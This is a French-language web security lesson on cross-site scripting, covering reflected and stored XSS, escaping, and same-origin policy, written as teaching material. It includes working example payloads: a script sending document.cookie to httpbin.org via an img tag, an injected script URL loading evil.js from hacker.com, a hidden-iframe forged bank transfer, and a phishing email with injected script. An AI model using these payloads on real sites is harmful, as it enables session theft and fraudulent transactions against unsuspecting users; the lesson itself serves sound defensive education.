Skip to content

Latest commit

 

History

History
346 lines (254 loc) · 8.69 KB

xss.md

File metadata and controls

346 lines (254 loc) · 8.69 KB
layout title subtitle scripts video
lesson
XSS
Cross Site Scripting
../js/mock-browser.js
<style> .cli { box-shadow: 0 0 2px 2px blue; } .srv { box-shadow: 0 0 2px 2px yellow; } .att { box-shadow: 0 0 2px 2px red; } </style>

Ne jamais se fier au client

Toutes les données en provenance du client :

  • Entêtes HTTP,
  • Paramètres de l'URL, query string
  • Corps de la requête, données des formulaires,
  • Cookies, Storage API,

peuvent contenir des valeurs non valides. Dans les attaques de type XSS :

  • Le client est la victime, pas le serveur.
  • Les données non-valides sont construites par l'attaquant.
  • La victime est persuadée/forcée par l'attaquant à rentrer les données non-valides dans l'application.
  • Les données non-valides sont retournées à la victime par le serveur, avec des effets non désirés.

Injection de code HTML

Dans la suite

Clélie est le client, victime des attaques. {:.cli}

Servane est le serveur, contenant une faille XSS. {:.srv}

Athanase est l'attaquant, qui cible Clélie. {:.att}

Pour démontrer une attaque XSS, on se contente en général de démontrer la possibilité d'exécuter du code JavaScript arbitraire, hors du contrôle du serveur : afficher un popup suffit !

Exemple

Servane utilise une valeur provenant du query string, sans filtrer :

return 'Bonjour ' + $req->query->get('user');

{:.srv}

Clélie a l'habitude de visiter http://servane.org/?user=Clélie{:.mock-jump data-target="xss-simple-demo"} {:.cli}

<script> function xssSimpleDemo(addr) { return '../assets/xss.html?' + addr.split('user=')[1]; } </script>

Athanase persuade Clélie à visiter une URL spécialement conçue :

Salut Clélie, j'ai trouvé une vidéo trop marante chez Servane :

<http://servane.org/?user=&lt;script&gt;alert('XSS reussi !')</script>>{:.mock-jump data-target="xss-simple-demo"} {:.att}

Se protéger de XSS

Échapper les caractères spéciaux : <, >, &, ", ', ...

  • Avec la fonction htmlspecialchars() de PHP,
  • Avec la fonction $app->escape() de Silex,
  • Par l'échappement automatique de Twig, ou d'un autre moteur de templates (voir aussi la leçon sur les templates).
<script> function escape(addr) { return '../assets/xss.html?' + addr.split('user=')[1] + "#escape"; } </script>

Attaques XSS

Cross site scripting

On estime que 80% des failles de sécurité des application web sont des failles XSS.

Que peut-on faire avec XSS ?

  • Changer l'apparence d'une page, la défigurer (recerchez Stallowned).
  • Rédiriger et phisher.
  • Vols des cookies et des données privées !
  • Propager l'exploit XSS comme un ver.
  • Controler le browser de la victime !!!

Les attaques XSS comportent trois acteurs : le client (la victime), l'attaquant et le serveur.

Elles nécessitent d'une part de social engineering.

XSS permanent et reflété

XSS reflété : Le code est injecté quand le client visite le lien

  • Query string
  • Formulaires
  • Résultats de recherche
From: "order-update@amazon.com" <order-update@amazon.com>
Subject: Amazon.com - Your Cancellation (175-2364376-728612)

<html><body>
Your order has been successfully canceled. For your reference,
here's a summary of your order:<br />

You just canceled order <a
href="http://www.amazon.com/?var=<script>injection()</script>">#175-2364376-728612</a>
placed on February 16, 2012. ...

{:.att}

XSS permanent : Le code est stocké sur le server (typiquement, dans la BD)

  • Billets de blog, forums, ...
  • Réseaux sociaux.

Palliatif : Cross-domain policy

À aucun moment un script d'un domaine (par ex. www.hacker.com{:.att}) doit pouvoir accéder à partir d'un document au contenu d'un domaine diffèrent (par ex. www.example.com{:.srv}).

La cross-domain policy est mise en place pour

  • Cookies ;
  • Requêtes AJAX ;
  • Contenu de frames et iframes.

Exceptions (nécessaires)

  • Images, audio, vidéos ;
  • Scripts ;
  • URL des frames et iframes.

Exemple : vol de session

  1. L'attaquant dispose de domaines qu'il contrôle, par exemple :

    • http://cdn.rawgit.com/,
    • http://httpbin.org/. {:.att}

    Il sert le script suivant à http://cdn.rawgit.com/defeo/aws-security/master/xss.js

    document.body.innerHTML +=
      '<img src="http://httpbin.org/get?ck=' + document.cookie + '">';
    

    {:.att}

Note : ce script est complètement inoffensif si servi par Athanase :

<script> sessionStorage[window.location.host + '.sessid'] = Math.random().toString().substr(2); var storedXSS1Count = 0; function storedXSS1(addr) { return storedXSS1Count++ ? addr : null; } </script>

Exemple : vol de session

  1. Servane a une faille XSS permanente dans son blog : les commentaires peuvent être injectés avec des balises <script>.

  2. Athanase injecte le code suivant dans http://blog.servane.org/{:.srv}

    <script src="http://cdn.rawgit.com/defeo/aws-security/master/xss.js"></script>
    

    {:.compact}

  3. Clélie visite le blog de Servane. Le script de Athanase s'exécute, et envoie les cookies de Clélie (y compris son identifiant de session) à http://httpbin.org{:.att}. {: start="2"}

<script> sessionStorage[window.location.host + '.sessid'] = Math.random().toString().substr(2); var storedXSS2Count = 0; function storedXSS2(addr) { return storedXSS2Count++ ? "../assets/permanent-xss.html" : null; } </script>

Pourquoi <img> ?

La balise <img> est utilisé souvent pour envoyer des données de la victime à l'attaquant :

<img src='http://httpbin.org/get?ck={"sessid":"a10340f0e"}' />

{:.compact}

  • Presque tous les browsers savent la gérer,
  • Connexion silencieuse (pas d'interaction utilisateur, pas de confirmation),
  • Rarement filtrée,
  • Idéale pour une transmission de la victime à l'attaquant.

Autres techniques pour capter les données :

  • XMLHttpRequest,
  • iframes,
  • formulaires cachés,
  • <audio>, <video>, ...
  • ...

Autre exemple : abus d'identité

  • L'attaquant injecte le script dans une page vulnérable et le donne à la victime
http://bank.servane.org/?<script src="http://hacker.com/evil.js"></script>

{:.srv}

  • Le script ajoute un <iframe> caché dans la page du serveur
document.write('<iframe name="hf" style="display:none"></iframe>');

{:.att}

  • Après quelques secondes, le script génère une requête à une page sécurisée
function req() {
  window.frames.hf.location.href=
    'http://bank.servane.org/transfer?to=athanase&amount=10000';
}
setTimeout(req, 5000);

{:.javascript.att}

  • La réponse à transfer est reçue dans l'iframe. Clélie ne s'est aperçue de rien.

Lectures

Outils